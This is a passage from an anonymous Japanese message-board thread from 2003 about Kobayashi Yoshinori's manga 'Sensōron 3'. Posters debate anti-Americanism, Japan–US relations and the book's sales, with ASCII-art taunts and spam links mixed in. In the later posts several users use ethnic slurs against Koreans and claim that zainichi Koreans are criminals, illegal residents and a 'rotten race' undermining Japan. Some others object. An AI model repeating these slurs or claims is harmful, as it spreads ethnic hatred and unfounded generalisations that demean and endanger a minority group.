つまり戦争論は小林が自分の夢を書き連ねるオナニー漫画って事か。

472 :名無しかましてよかですか?:03/07/30 18:40 ID:sARYva8N
戦争論は「理念」を語る書物に過ぎない

当たり前。
だから「戦争論」という。


473 :名無しかましてよかですか?:03/07/30 18:41 ID:DMZLkQcC
>>469
や、大学生はアウトだろ。
18歳未満がぎりぎりじゃん?

474 :名無しかましてよかですか?:03/07/30 18:42 ID:LrAFKvZO
小林はビビリやから、かなり大嘘ついてるところも
あるんちゃうかな。

475 :名無しかましてよかですか?:03/07/30 18:44 ID:6h5yAWXP
>>472
元祖の「戦争論」は、戦争に関する理念的議論だけでなく、
当時の戦争の実務にも触れてますが何か?

476 :名無しかましてよかですか?:03/07/30 18:45 ID:b7ehs2p+
>>468
人類の発展と生産性を考えるならば、それがbetterと言えるだろうね。

477 :名無しかましてよかですか?:03/07/30 18:49 ID:G9i7a7k6
>>473
そんなことよりズレズレなことをつっこんでやれよ

478 :名無しかましてよかですか?:03/07/30 18:50 ID:/6EIeflO
>471
 まあ、悪く言えばそういう表現になるでしょう。ただ、私は理念を語ることに意味が全くないとは重いませんが。

>472
 クラウゼヴィッツって一体…

>475
 平たく言うと「現代の日本が具体的にどうすればいいのか」が書かれてないということを言いたかったのです。
 戦争論に「戦争の実際」が書かれていると仰るのはその通りです。

479 :名無しかましてよかですか?:03/07/30 19:00 ID:sARYva8N
「戦争の実際」ってなんだろう?


480 :名無しかましてよかですか?:03/07/30 19:00 ID:ETYAn2Qi
>>478
>平たく言うと「現代の日本が具体的にどうすればいいのか」が書かれてないということ

そういった具体的なことは「わしズム」に書いてあるよ。
今月も「日本は核を持てるか」を特集してあるし・・・

481 :名無しかましてよかですか?:03/07/30 19:01 ID:tSnw5Ibe
高校生です。

戦争論シリーズ読破しました。

アメリカ、中国、韓国、ロシア、北朝鮮

みんな嫌いになりました。

読書感想文は、戦争論にしました。今日から執筆にとりかかります。

482 :名無しかましてよかですか?:03/07/30 19:03 ID:LrAFKvZO
自由と民主の上に胡座をかき、刺される心配の絶対ないことと、
反論する香具師がバカをみることしか言わん。
三島由紀夫とは気合の入り方が全然ちがう。
どこが右翼やねん。

483 :名無しかましてよかですか?:03/07/30 19:10 ID:W4j6pq6T
>>481
↑こんな憎しみだけで生きる馬鹿者を製造するだけだよな。この手の本は。

484 :名無しかましてよかですか?:03/07/30 19:12 ID:L6DFKzHr
>>483
おまえのような馬鹿者もな。

485 :名無しかましてよかですか?:03/07/30 19:14 ID:W6ZGSCD1
3を読んだ。
まぁ、いつものごとく、3,4割は納得出来るけど、
他は全部ツッコミどころ満載。
だけど、下手に反日キチガイが増えるよりは、
反米バカが増える方がマシとも言える。
本当の自然な愛国心を持てるようになるまでの過渡期かもな。
そのときに小林は、確かに貢献した人物って言われるでしょう。

だけど、これを読んで、頭で濾過出来ない小林のポチとは接したくないねw
そういうヤツは、白人を見るのもいやだって言ってそう。
外見では見分けがつかないから、常に着物でも着てちょんまげでも結ってて
くれねえかなぁ。

486 :名無しかましてよかですか?:03/07/30 19:22 ID:ZIsOanmG
あれは理念だけか?
イラク戦争に反対してたんだから、政策レベルまで言っていると思うが。
大体、あそこまで反米を煽っているということは、読者に対して、何らかの反米的行動を期待しているのでhないか。

487 :名無しかましてよかですか?:03/07/30 19:26 ID:awKBmcJ6
攘夷ですか? 苦笑

488 :名無しかましてよかですか?:03/07/30 19:27 ID:De9cvjKK
今日、戦争論3買ったんだけど前作より表紙がしょぼくなった気がする。
レジに持っていくのが少し恥ずかしかった。
あと、これって本当に売れてるの?
買った所の本屋では売上8位だったよ。

489 :名無しかましてよかですか?:03/07/30 19:27 ID:V8eOxPir
>>486>読者に対して、何らかの反米的行動を期待しているのでhないか

戦争論3の242pご参照あれ。

490 :名無しかましてよかですか?:03/07/30 19:28 ID:dRa+ptsQ
よしりんに楯突いても無駄無駄。
破壊力が違うのだ、破壊力が!

491 :名無しかましてよかですか?:03/07/30 19:33 ID:JvS+l7QA
  自       し!     _  -── ‐-   、  , -─-、 -‐─_ノ
  分 そ    // ̄> ´  ̄    ̄  `ヽ  Y  ,  ´     )   戦 え
暇 の ん    L_ /                /        ヽ  争  |
大 意 な    / '                '           i  論 マ
学 見 の    /                 /           く!?  ジ
生 を 読    l           ,ィ/!    /    /l/!,l     /厶,
だ 持 む     i   ,.lrH‐|'|     /‐!-Lハ_  l    /-!'|/l   /`'メ、_iヽ
け て の    l  | |_|_|_|/|    / /__!__ |/!トi   i/-- 、 レ!/   / ,-- レ、⌒Y⌒ヽ
だ 無 は   _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ      ,イ ̄`ヾ,ノ!
よ  い     「  l ′ 「1       /てヽ′| | |  「L!     ' i'ひ}   リ
ね        ヽ  | ヽ__U,      、ヽ シノ ノ! ! |ヽ_、ソ,      ヾシ _ノ _ノ
-┐    ,√   !            ̄   リ l   !  ̄        ̄   7/
  レ'⌒ヽ/ !    |   〈       _人__人ノ_  i  く            //!
人_,、ノL_,iノ!  /! ヽ   r─‐- 、   「      L_ヽ   r─‐- 、   u  ノ/
      /  / lト、 \ ヽ, -‐┤  ノ  キ    了\  ヽ, -‐┤     //
ハ キ  {  /   ヽ,ト、ヽ/!`hノ  )  モ    |/! 「ヽ, `ー /)   _ ‐'
ハ ャ   ヽ/   r-、‐' // / |-‐ く    |     > / / `'//-‐、    /
ハ ハ    > /\\// / /ヽ_  !   イ    (  / / //  / `ァ-‐ '
ハ ハ   / /!   ヽ    レ'/ ノ        >  ' ∠  -‐  ̄ノヽ   /
       {  i l    !    /  フ       /     -‐ / ̄/〉 〈 \ /!


492 :  :03/07/30 19:34 ID:i1Fo0ZKi
>>485
ツッコミどころ満載>例えば、すごい突っ込みを教えろよ。


493 :名無しかましてよかですか?:03/07/30 19:50 ID:mC9gW2wp
まあ、まともに考える力がある奴は反米になるわけだが。
親米派の馬鹿はアメリカに追随すれば守ってもらえるとでもおもってるらしいが。
それはおまえらの独りよがりだ。大体、アメリカが一度でもそう明言したか?
危機感を煽ってアメリカに媚びさせ、経済的面でも奴隷状態におこうとしてるのが分からんのか?
日本では年間に3万人くらい自殺してるが、アメリカとの経済戦争に敗れた結果だ。
北朝鮮なんかよりアメリカとの経済戦争の方が深刻なのだよ、親米派のクズどもよ。
頭の悪い親米右翼のオッサン本ばっかり読んでないで現実見ろよ。
まあ、おれに言わせりゃ親米馬鹿は現実逃避の腰抜け野郎だな


494 :名無しかましてよかですか?:03/07/30 19:51 ID:De9cvjKK
31pに出てくる金髪のおじさんは渡部昇一さんですか?

495 :名無しかましてよかですか?:03/07/30 19:54 ID:XC1Cs6dm
>>493
じゃあどおすりゃいいのかな
俺は反米でも親米でもないし、頭も悪いから素直に疑問におもう。
アメリカと第二ラウンド開始ですか?

496 :名無しかましてよかですか?:03/07/30 19:55 ID:v7+o9Xa4
>>495
好戦的だねえ・・・
反米すなわち日米戦争ですか?

497 :名無しかましてよかですか?:03/07/30 19:56 ID:s6NYOmLm

小林までも、ホームに落ちた人を助けようとして電車に轢かれた日本人は無視ですか

498 :名無しかましてよかですか?:03/07/30 20:01 ID:0z9hoaDn
>>497
い〜い突っ込みかもw。

499 :名無しかましてよかですか?:03/07/30 20:06 ID:XC1Cs6dm
>>497
当たり前だよ。
戦後日本人のダメさを徹底的に糾弾しないとインパクトが薄いだろ。
たとえ事実、実情と異なっていても、「日本を建て直し、世界のすべての諸悪の根源である
白人至上主義文化圏を打ち倒す」という大義の前には許されるのだ。

この前、川で子供2人を助けて死んだ高校生なんかも
当然存在しない事になりました。
戦後日本にそんな犠牲精神のある人間がいるわけが無い。

500 :嫌韓勇士 ◆quM58wnvXA :03/07/30 20:17 ID:lQqiS+Vp
>>496
アメリカに逆らえばどうなるか想像して見ろ。

501 :名無しかましてよかですか?:03/07/30 20:18 ID:JvS+l7QA
イラクの二の舞か、ジョークじゃなくて

502 :名無しかましてよかですか?:03/07/30 20:21 ID:0h8xtb3I
>>497
ホームに落ちたってぜんぜん危険じゃありません。
ホームから落ちたら危険だけど。
まぁ嫌韓厨はホームから落ちた日本人を救おうとして轢かれた韓国人の学生は無視なわけだが。


503 :名無しかましてよかですか?:03/07/30 20:33 ID:h1UnpprM
>>495
反米ならなぜいきなりアメリカと第2ラウンドなんだ?
おまえは単純馬鹿日本人の悪い例だ。
むかしのアホ軍人どもと同じだ。

親米ばかは反米=尊皇攘夷
単細胞反米主義者は親米=奴隷根性のクズ

とおもっているが、どちらもアホだ。
おれは反米だがアメリカとの戦争なんて損なことには反対だ。

こんなこというと、ほーらおれたち親米派と変わらんじゃないかという馬鹿がいるが誤解だ。
日本人今こそ冷静になってアメリカが世界の覇権を握っていることを認識した上で、アメリカに対し、

”あなた方の言うことも理解できます。しかし、我々にも我々の考え方があってここまでは譲歩する。
しかし、これには従えません。べつの解決法を考えましょう”
と、冷静にいえるようになるべきなんだよ。
おれはアメリカの言うことばかり聞く親米の犬どもにも、尊皇攘夷的反米にも反対だ。
ようは、うまく自国の利益を図るように外交をしろってことだ。分かったか。


504 :名無しかましてよかですか?:03/07/30 20:36 ID:tNCiGSOz
>>488
ベストセラー。
http://bookweb.kinokuniya.co.jp/guest/cgi-bin/best_wa.cgi?subj=tanko

505 :名無しかましてよかですか?:03/07/30 20:40 ID:W6ZGSCD1
やっぱり、493みたいなんが生まれちゃうのがこの本の弊害だな。

503はまだマシ。

506 :名無しかましてよかですか?:03/07/30 20:47 ID:JvS+l7QA
>> 505
利点がなければ、「弊害」とは言わんぞ(w


507 :名無しかましてよかですか?:03/07/30 20:50 ID:v7+o9Xa4
>>497
他国の道徳について言及してる時になんで日本人の話しなきゃいけないんだ?

これだから嫌韓厨は・・・
「朝鮮人をいい扱いにするな!!」ってか?

508 :名無しかましてよかですか?:03/07/30 20:53 ID:5GHoJWch


509 :493:03/07/30 20:54 ID:KqSl+CzQ
まず493=503だ
おれの意見に反論があるなら堂々と納得できるようにいってみろ。
ここにいる小林批判者の多くは細かい揚げ足とりしかできない馬鹿が多いようだから、
少しは頭に自信がある親米野郎は反論してみろ。

510 :名無しかましてよかですか?:03/07/30 20:56 ID:HcaARLgm
>”あなた方の言うことも理解できます。しかし、我々にも我々の考え方があってここまでは譲歩する。
>しかし、これには従えません。べつの解決法を考えましょう”
>と、冷静にいえるようになるべきなんだよ。
>おれはアメリカの言うことばかり聞く親米の犬どもにも、尊皇攘夷的反米にも反対だ。
>ようは、うまく自国の利益を図るように外交をしろってことだ。分かったか。

最初からそういう風に言えばヒステリックな反論もないのになぁ。
いきなり臆病モンって行くから訳のわからん事に・・・

511 :名無しかましてよかですか?:03/07/30 20:58 ID:W6ZGSCD1
>>506
いや、利点はあるでしょう。
少なくとも、今まで思ってた事実は事実じゃないかもしれない
くらいの変化をもたらしたのは間違いないんじゃない?

でも、コヴァの弊害はでかいし怖いなぁと、この板を見てて思った。

512 :名無しかましてよかですか?:03/07/30 20:58 ID:HcaARLgm
>単細胞反米主義者は親米=奴隷根性のクズ

これなんてまんま>>493やん。

513 :493:03/07/30 21:03 ID:KqSl+CzQ
まず、493=503だ。
おれの意見に反論があるなら堂々と納得できるような意見を言え!
ここにいる小林批判者は細かい揚げ足とりしかできないようだから、
頭に自身のある親米派は反論してみてくれ。
つーか、小林にも納得できないところはある。
おれは反米だが小林を批判しようと思えばいくらでもできるぞ。
ここにいるお子チャマたちのような揚げ足とり無しにな。

514 :名無しかましてよかですか?:03/07/30 21:05 ID:JvS+l7QA
>509
  自       し!     _  -── ‐-   、  , -─-、 -‐─_ノ   う
  分 あ    // ̄> ´  ̄    ̄  `ヽ  Y  ,  ´     )   信 わ
暇 の ん    L_ /                /        ヽ  者  |
大 意 な    / '                '           i  ? マ
学 見 の    /                 /           く    ジ
生 を 信    l           ,ィ/!    /    /l/!,l     /厶,  !?
だ 持 じ     i   ,.lrH‐|'|     /‐!-Lハ_  l    /-!'|/l   /`'メ、_iヽ
け て る    l  | |_|_|_|/|    / /__!__ |/!トi   i/-- 、 レ!/   / ,-- レ、⌒Y⌒ヽ
だ 無 の   _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ      ,イ ̄`ヾ,ノ!
よ  い     「  l ′ 「1       /てヽ′| | |  「L!     ' i'ひ}   リ
ね        ヽ  | ヽ__U,      、ヽ シノ ノ! ! |ヽ_、ソ,      ヾシ _ノ _ノ
-┐    ,√   !            ̄   リ l   !  ̄        ̄   7/
  レ'⌒ヽ/ !    |   〈       _人__人ノ_  i  く            //!
人_,、ノL_,iノ!  /! ヽ   r─‐- 、   「      L_ヽ   r─‐- 、   u  ノ/
      /  / lト、 \ ヽ, -‐┤  ノ  キ    了\  ヽ, -‐┤     //
ハ キ  {  /   ヽ,ト、ヽ/!`hノ  )  モ    |/! 「ヽ, `ー /)   _ ‐'
ハ ャ   ヽ/   r-、‐' // / |-‐ く    |     > / / `'//-‐、    /
ハ ハ    > /\\// / /ヽ_  !   イ    (  / / //  / `ァ-‐ '
ハ ハ   / /!   ヽ    レ'/ ノ        >  ' ∠  -‐  ̄ノヽ   /
       {  i l    !    /  フ       /     -‐ / ̄/〉 〈 \ /!


515 :名無しかましてよかですか?:03/07/30 21:06 ID:krpdIiEv
うんこしたんだけど誰か紙もってない?

516 :名無しかましてよかですか?:03/07/30 21:27 ID:sR9PpsAa
>>515
コピペ便意兵に貰えば?

517 :名無しかましてよかですか?:03/07/30 22:02 ID:oB68y+O2
ポチが騒いでるな

518 : :03/07/30 22:03 ID:K7kaetgu
バネミサイルなんて表現古すぎ

519 :名無しかましてよかですか?:03/07/30 22:18 ID:ovI5oawQ
どれくらい売れてるンかな

520 :極東:03/07/30 22:21 ID:tuMI8wAA
戦争論3買いました。
今までと少し違い、右翼も左翼も批判している内容に戸惑いましたが、
人種間闘争であると考えると、日本は立派だよな!って思いました。

521 :名無しかましてよかですか?:03/07/30 22:22 ID:H25cY1op

読んじゃったー、疲れたー、全体的には良かったです。
小林氏のパワーと力量に脱帽です。
読んでて最初は反米の嵐だったので現実味がないと感じたのですが
後半で作法としての反米と言っていたので そっか、精神論としての
反米ということか、と理解しました
急性アノミー、失われた戦後の50余年
サヨクによってひどくねつ造、歪曲された歴史観や失われつつある伝統を
戦争論の読者や子供達の教育を通して社会制度を正常な状態に戻そう
ということなのでつかね。
具体的な策が欲しかったけれどアプローチは賛成します
早く日本のアイデンティティーが確立されるといいなあ

522 :名無しかましてよかですか?:03/07/30 22:24 ID:oB68y+O2
具体策には軍事独立を盛り込むべき。

523 :名無しかましてよかですか?:03/07/30 22:39 ID:klYU4cJl
>>513
あのさぁ、お前は、小林批判するヤツはみんな親米だと思ってんのか?
まずそこがバカ。

524 :名無しかましてよかですか?:03/07/30 22:39 ID:oH2xdc5+
今回、いつもより1段階強くチョンを非難してたような感じがした。
242上のコマかなり皮肉ぽくてワロタ。
前に在日のファンもついてて、こうゆう人達の立場も考えて書かねば
ならないとか言ってたけど、そのせいか比較的朝鮮人については放置
ぽかったから。

525 :名無しかましてよかですか?:03/07/30 22:40 ID:jWDvr4m9
あれじゃん。日米の第2ラウンドて、経済戦争でもう始まってるじゃんyo
プラザ合意でこかされて、バブル消滅してからさ。
3万人の自殺者て、「足を引っ張らないように」自死した人と同じだって。
コメとチュンが組んで、ヤマトを食い荒らすのも、リアルに再現されている。
後世、今の自殺者が「国士だった」と言われても、ちょっと同感しねー


526 :名無しかましてよかですか?:03/07/30 22:46 ID:JvS+l7QA
>522
         し!     _  -── ‐-   、  , -─-、 -‐─_ノ
  財 た    // ̄> ´  ̄    ̄  `ヽ  Y  ,  ´     )   本 え
  政 だ    L_ /                /        ヽ  気  |
  苦 で    / '                '           i  !? マ
  し さ    /                 /           く    ジ
  い え    l           ,ィ/!    /    /l/!,l     /厶,
  の 国   i   ,.lrH‐|'|     /‐!-Lハ_  l    /-!'|/l   /`'メ、_iヽ
  に 債   l  | |_|_|_|/|    / /__!__ |/!トi   i/-- 、 レ!/   / ,-- レ、⌒Y⌒ヽ
  ね 発   _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ      ,イ ̄`ヾ,ノ!
   l 行  「  l ′ 「1       /てヽ′| | |  「L!     ' i'ひ}   リ
    で    ヽ  | ヽ__U,      、ヽ シノ ノ! ! |ヽ_、ソ,      ヾシ _ノ _ノ
-┐    ,√   !            ̄   リ l   !  ̄        ̄   7/
  レ'⌒ヽ/ !    |   〈       _人__人ノ_  i  く            //!
人_,、ノL_,iノ!  /! ヽ   r─‐- 、   「      L_ヽ   r─‐- 、   u  ノ/
      /  / lト、 \ ヽ, -‐┤  ノ  キ 馬  了\  ヽ, -‐┤     //
ハ キ  {  /   ヽ,ト、ヽ/!`hノ  )  モ 鹿   |/! 「ヽ, `ー /)   _ ‐'
ハ ャ   ヽ/   r-、‐' // / |-‐ く    | っ   > / / `'//-‐、    /
ハ ハ    > /\\// / /ヽ_  !   イ て   (  / / //  / `ァ-‐ '
ハ ハ   / /!   ヽ    レ'/ ノ        >  ' ∠  -‐  ̄ノヽ   /
       {  i l    !    /  フ       /     -‐ / ̄/〉 〈 \ /!


527 :名無しかましてよかですか?:03/07/30 22:55 ID:FPF/2048
>>514 >>526
お前が右でも左でもかまわんから、

こ の キ モ オ タ く さ い コ ピ ペ は や め て く れ

528 :名無しかましてよかですか?:03/07/30 23:06 ID:b+60VGG2
しかしうまいぐあいにまとまったもんだな戦争論。内容については
個々の意見が分かれるだろうけど最終的にアメリカに行き着いたのが
やはりなという感じ....。そもそもこんな本を描いたのは何がきっかけ
だったっけ?従軍慰安婦問題だったか?


529 :名無しかましてよかですか?:03/07/30 23:26 ID:TvPDlAcd
戦争論B、どこいっても売り切れなんだが。
オレんトコだけか??

530 :名無しかましてよかですか?:03/07/30 23:29 ID:Qqbh1rVp
昨日読んだ。

白人の加害力は分かったが、在日朝鮮人の加害力には触れないのかな?
小林は伝統を保守しろというが、日本の伝統を保守するには在日朝鮮人問題は
絶対に避けて通れないだろう。
白人からは学ぶ物も沢山あったが、朝鮮人から学ぶ物など昔から何もなかった。
その意味では朝鮮人による加害力の方が圧倒的にひどいだろう。
姜尚中やシンスゴのような反日朝鮮人を批判せず、無難な反米を叫んでいる
小林を信用することは出来ないな。
朝鮮人の危険さを理解しているのは西尾の方だ。

531 :名無しかましてよかですか?:03/07/30 23:31 ID:F1LUkJsO
>>528
オウム、薬害エイズと続いた中で個を喪失した奴等が増えてる状況で、その原因を戦後に見いだして
じゃあ、あの戦争は何だったのかと調べだしたのがきっかけじゃないの?

>ID:JvS+l7QA
本当にウザい。反論あるなら文章にしてくれ。お前が低脳だということしかわからん。

532 :名無しかましてよかですか?:03/07/30 23:36 ID:el1tRJOV
68pのGNPのグラフ
昭和19年 74503(単位:百万)= 745億3百万
昭和21年 475(単位:10億円)=4750億円

これで合ってるの・・?

533 :名無しかましてよかですか?:03/07/30 23:40 ID:b+60VGG2
>>531 成る程、分りました。サンクス

>>530 だから俺もそれは気になってたんだよねー。前田明日とかと仲良いし
在日ファンとも話してるから情が移ってんのかねー。

>朝鮮人の危険さを理解しているのは西尾の方だ。
チョンて日本国にとってのみ危険分子だよな。世界的には無力つーかゴミ
後渡部昇一もすごい朝鮮嫌ってるみたいね。文章にあらわれてる。
意地でも北南合わせて「コリア人」て言い方通す辺りこだわりを感じる。

534 :名無しかましてよかですか?:03/07/30 23:42 ID:SJgWC1zt
そもそも愛国心がなくなったことが混乱の原因なのですか?

535 :名無しかましてよかですか?:03/07/30 23:44 ID:b+60VGG2
「日本の傲慢韓国の傲慢」て本で呉善花相手にかなり容赦無く韓国について
ずけずけと話してたからなー。>渡部

536 :無料動画直リン:03/07/30 23:44 ID:zA+iZ75d
http://homepage.mac.com/miku24/

537 :名無しかましてよかですか?:03/07/30 23:45 ID:673EOpwN
>>529
たぶん。

538 :名無しかましてよかですか?:03/07/30 23:48 ID:kfX2ZSJ8
  |         |  |_____      ♪ポチが鳴く ポチが鳴く
  |         |  | ̄ ̄ ̄ /|
  |         |  |   / /|            ポチが鳴いているぞ〜 (あ そ〜れ)
  |        /\ |  /|/|/|
  |      /  / |// / /|
  |   /  / |_|/|/|/|/| ♪まだまだ鳴かせ足りんぞ〜 鳴かす余地ある〜
  |  /  /  |神|/ // /∧_∧    ∧_∧    ∧_∧
  |/  /.  _.| ̄|/|/|/ (・∀・ ∩ ∩・∀・ )   (・∀・ ∩
/|\/  / /  |/ /   ( つ  ノ  ヽ  と )   ( つ  ノ
/|    / /  /ヽ      ( ヽ ノ    (⌒)  (     ) (_)
  |   | ̄|  | |ヽ/|      し(_)     ̄(__)    (__)
  |   |  |/| |__|/  ♪イラクでは市街戦で兵が逃げるぞ〜
  |   |/|  |/   ∧_∧    ∧_∧    ∧_∧
  |   |  |/    (・∀・ ∩ ∩・∀・ )   (・∀・ ∩
  |   |/       ( つ  ノ  ヽ  と )   ( つ  ノ
  |  /         ( ヽ ノ    (⌒)  (     ) (_)
  |/          し(_)     ̄(__)    (__)
        ♪9月にも暴動だ〜 米を怯ますぞ〜 


539 :名無しかましてよかですか?:03/07/30 23:51 ID:kxBlvUGh
この漫画読んで、お国の為に生きようって本気で思う奴っていんのかね?

540 :名無しかましてよかですか?:03/07/30 23:52 ID:u156XMoO
「アメリカ様」に守られてるおかげで小林よしのりが執筆できると思われ…

541 :名無しかましてよかですか?:03/07/31 00:04 ID:+7W5Yn9X
「ナンダカ黄色イ眼鏡猿ガ調子コイテイルヨウデスガ・・・?」
「フッ、ヨイデハナイカ、面白イカラモウ少シダケ生カシトイテヤレ」
「モウ少シ、デスナ? イエッサー!」

542 :嫌韓勇士 ◆quM58wnvXA :03/07/31 00:04 ID:riR1mNni
>>540
「アメリカ様」では無く「ソ連様」だったら即効であぼ〜んだからな。

543 :名無しかましてよかですか?:03/07/31 00:05 ID:qpQw4Zif
>>539
おれがいる

544 :名無しかましてよかですか?:03/07/31 00:08 ID:a+ZdUVwS
小林には酷だが一年に一回スペシャル本出してほしい。

545 :名無しかましてよかですか?:03/07/31 00:10 ID:L+Y7C7tS
そーか。いんのか。いまどき奇特な人なんだろうなぁ。で、どの辺が好き?いや、煽りではなく

546 :名無しかましてよかですか?:03/07/31 00:17 ID:qpQw4Zif
>>545
小林はおれらのために戦ったじいちゃん、ばあちゃんを大事にしてるとこが好き。

547 :嫌韓勇士 ◆quM58wnvXA :03/07/31 00:18 ID:riR1mNni
>>546
それだけ?

548 :名無しかましてよかですか?:03/07/31 00:22 ID:S1YG1PDq
>>547
おめえは朝鮮、中国叩いてれば誰でもいいんだろ?

549 :名無しかましてよかですか?:03/07/31 00:23 ID:qpQw4Zif
>>547
ほかにもあるけど

550 :名無しかましてよかですか?:03/07/31 00:28 ID:xFYnmlhx
無茶苦茶面白い本やけど結局のところ想像力足らんよね〜。
特攻隊なんて「悲惨」に決まってるよ〜。
批判されてるけど「高木俊朗」の本の方が一般人に理解されると思うよ〜。
無茶苦茶面白いから皆買ってるだけ!
こんな内容じゃ〜世の中動かんて。
チョット残念とは思うけどね〜。

551 :名無しかましてよかですか?:03/07/31 00:28 ID:XditDLHr

「アメリカは汚い国、卑怯な国、ずるい国、自己中心的な国、傲慢な国」と小林は言いたいのでしょう。

私も その通りだと思います。

で、だから何???

日米安保で、アメリカを利用できる間は、利用してやろうと思っています。
それでいいじゃん。

例えば、有能な社長がいたとしよう。
そいつは、汚くて、卑怯で、ずるいくて自己中で傲慢な社長だったとしよう。
でも、このご時世なのに、売上倍増中の会社の有能な社長だった。
だったら、辞めるか?
「靴舐めろ」とか言うようなら、辞めるが、歩調を合わせておくぐらいの事だったら平気だろ?
ただし、「こんな会社、経営が悪くなったらすぐに辞めてやる」と考えておけば全く問題ない。だろ?

日米問題も同じだろ。
アメリカ経済が崩壊し、米軍もショボクなったら日米安保なんて こっちから捨ててやれ。
それだけ。

なんで、そんな簡単なことが分からないのだ?

やはり、漫画家だから世間知らず??w



552 :名無しかましてよかですか?:03/07/31 00:29 ID:4on02U8V
いや、いまどき御先祖思いなんて素敵じゃないか。でも僕は、お国の為よりも、自分の生活を守る為にって方が納得できるな

553 :名無しかましてよかですか?:03/07/31 00:30 ID:ddPn9gxK
日本にとっての一番の問題は朝鮮人だよ。
100万人もいない在日朝鮮人のおかげで、どれだけ日本の政治や経済、治安が
悪化しているかは驚くばかりだ。
日本が伝統を保守していくのを妨げているのは朝鮮人だからな。
在日や半島の朝鮮人はあからさまに日本を潰そうとしているのに
なぜ小林は批判しないのか?
西部などは田原(電波芸者)や姜尚中(朝鮮ナショナリスト)と本出してるし。
はっきり言って、西部や小林が何を言いたいのか分からない。

在日朝鮮人や韓国人の異常さを批判しない日本保守派って何なんだ?

554 :名無しかましてよかですか?:03/07/31 00:31 ID:BZT4snHp
在日朝鮮人や韓国人は黄色人種だからだろ。

555 :嫌韓勇士 ◆quM58wnvXA :03/07/31 00:32 ID:riR1mNni
>>アメリカ経済が崩壊し、米軍もショボクなったら日米安保なんて 
ここ50年は有り得ないだろうね。

556 :名無しかましてよかですか?:03/07/31 00:34 ID:xFYnmlhx
待て待て。日本の伝統と半島は切っても切り離せないんだよ。

557 :名無しかましてよかですか?:03/07/31 00:36 ID:RJBwtNkU
>>551
そういう考え方はあるようだし、現に冷戦中をそう捉える人たちは結構いるみたいだよね。
しかしながら、今回のイラ問題は、利用しているのだろうか。
その逆のようにしか見えないような気が

558 :名無しかましてよかですか?:03/07/31 00:40 ID:xFYnmlhx
>557
いえ。進出30ヶ国の仲間入りの為に利用させて戴きます。世界の仲間入りの為に!

559 :名無しかましてよかですか?:03/07/31 00:43 ID:ddPn9gxK
>>556
在日朝鮮人ですか? w

この100年間でそれはウソだって、はっきりバレてるでしょう。
そうやって日本の歴史・伝統・文化にしがみつかないとアイデンティティーが保てない
のは朝鮮人の特徴です。
その延長線上に「剣道はウリナラ起源ニダ!」があるのです。
朝鮮は支那の万年属国、日本は古代に支那を相対化している事を認めてはどうですか?
日本の伝統や国益を守る為には、朝鮮人を突き放す事が絶対条件ですけどね。
そうすれば朝鮮人は火病発生でしょうけど、いい加減に朝鮮人を自立させる為の
教育的措置が必要な時期です。
朝鮮人と心中なんて御免ですからね。w

560 :名無しかましてよかですか?:03/07/31 00:46 ID:9KpsERz1
しかし黒人奴隷の扱いのひどさ見たら鮮人共のたわごとには
つきあってられんね。
テレビでチョンに黒人タレントが「一緒にするんじゃねぇ!」って
怒鳴り付けてたからね。

「世界でも最も苛酷な植民地統治をウケタ〜〜〜」とかチョン言ってんの。
もうアフリカ系黒人前にしてよく恥ずかしくないなこいつらと・・(以下RY


561 :_:03/07/31 00:47 ID:luCfVb6Y
http://homepage.mac.com/hiroyuki44/2ch.html

562 :名無しかましてよかですか?:03/07/31 00:50 ID:xFYnmlhx
>559
えっ。
100年前ならともかく一昨年に宮内庁が半島と古代天皇家の関係を認めたでしょ。
伝統って別に天皇の事じゃあないんだけどね。

563 :名無しかましてよかですか?:03/07/31 00:52 ID:m87U7j1r
>>555
「向こう50年」でしょ。



564 :名無しかましてよかですか?:03/07/31 01:00 ID:ddPn9gxK
>>562
今から千数百年前に、たった一回だけ半島の女を后にしたってだけだでしょう?
それにも色々説があって、実はその女が卑しい出自だったので半島からの
帰化人としたって説もある位あやふやなものです。
卑しい出自でも半島系でも、どちらも歓迎されない事ではあったんでしょうが。
(当時の常識としてね)
それに万世一系の天皇家っていうのはフィクションだって事は日本人は知っていますよ。
ただ万世一系って物語を受け入れているだけ。
つまり現天皇家には実際には半島の血など一滴も入っていません。
いい加減に日本にしがみつくのは止めなさい>朝鮮人

565 :名無しかましてよかですか?:03/07/31 01:01 ID:9KpsERz1
>559 韓国パクリ列挙

空手→テコンド(これに限ってはパクりというより亜種とでも言うべきか)
剣道→クムド(捏造パクり)
合気道→ハプキド(捏造パクリ)
茶道→???(捏造パクり)
柔道→日本の柔道団体が抗議してパクり失敗 頓挫
居合道→???

とりあえず知ってるの挙げてみた。茶道と居合はなんて呼んでたか忘れた。
後流鏑馬(やぶさめ)も狙ってたような........。
うまいぐあいに語尾に道(ド)がくるように作ってまつねw(道)の概念
なんぞないくせに。デタラメぶりここに極まれり

566 :名無しかましてよかですか?:03/07/31 01:02 ID:dQ8Lem8G
アメリカの黒人奴隷はアフリカ西海岸から来ましたがだからといって
今のアメリカ政府がアフリカ諸国に遠慮をするかということです。
もちろん、するわけはありません。

567 :名無しかましてよかですか?:03/07/31 01:03 ID:9KpsERz1
居合道(捏造パクリ)

568 :名無しかましてよかですか?:03/07/31 01:14 ID:ddPn9gxK
>>566
アメリカの黒人奴隷と在日朝鮮人とは全く違いますよ。
黒人は鎖でつながれてアメリカへ連れてこられました。
しかし、在日朝鮮人は、密航や出稼ぎで日本に来たまま不法滞在しているだけです。
つまり在日朝鮮人は加害者であり犯罪者なのです。
戦後、GHQが在日朝鮮人を全員帰国させようとした時に、
「朝鮮半島へは帰りたくない!」と泣きながらデモ行進したのが在日朝鮮人です。
それが今や、自称被害者ですからね。 こんな腐った人種は朝鮮人だけです。
絶対に日本に受け入れてはならないのです。
在日朝鮮人は韓国政府が責任を持って引き取るべきなのですが、
棄民政策を取っており、知らん顔です。 同じ朝鮮人なのにですよ!
朝鮮人の異常さには、あきれ返るほかありません。

569 :名無しかましてよかですか?:03/07/31 01:15 ID:xFYnmlhx
>>564
エロ画像見てたら返事が遅れました。

たぶん1万年遡れば同じ血かとおもわれ…。
民団尼崎支部に訊いてこい。



570 :名無しかましてよかですか?:03/07/31 01:21 ID:XhlcQo5K
>>80
釣りのために必死で書き込んだのにスルーされてるよ
ハッハハハッハー

571 :名無しかましてよかですか?:03/07/31 01:28 ID:ddPn9gxK
>>569
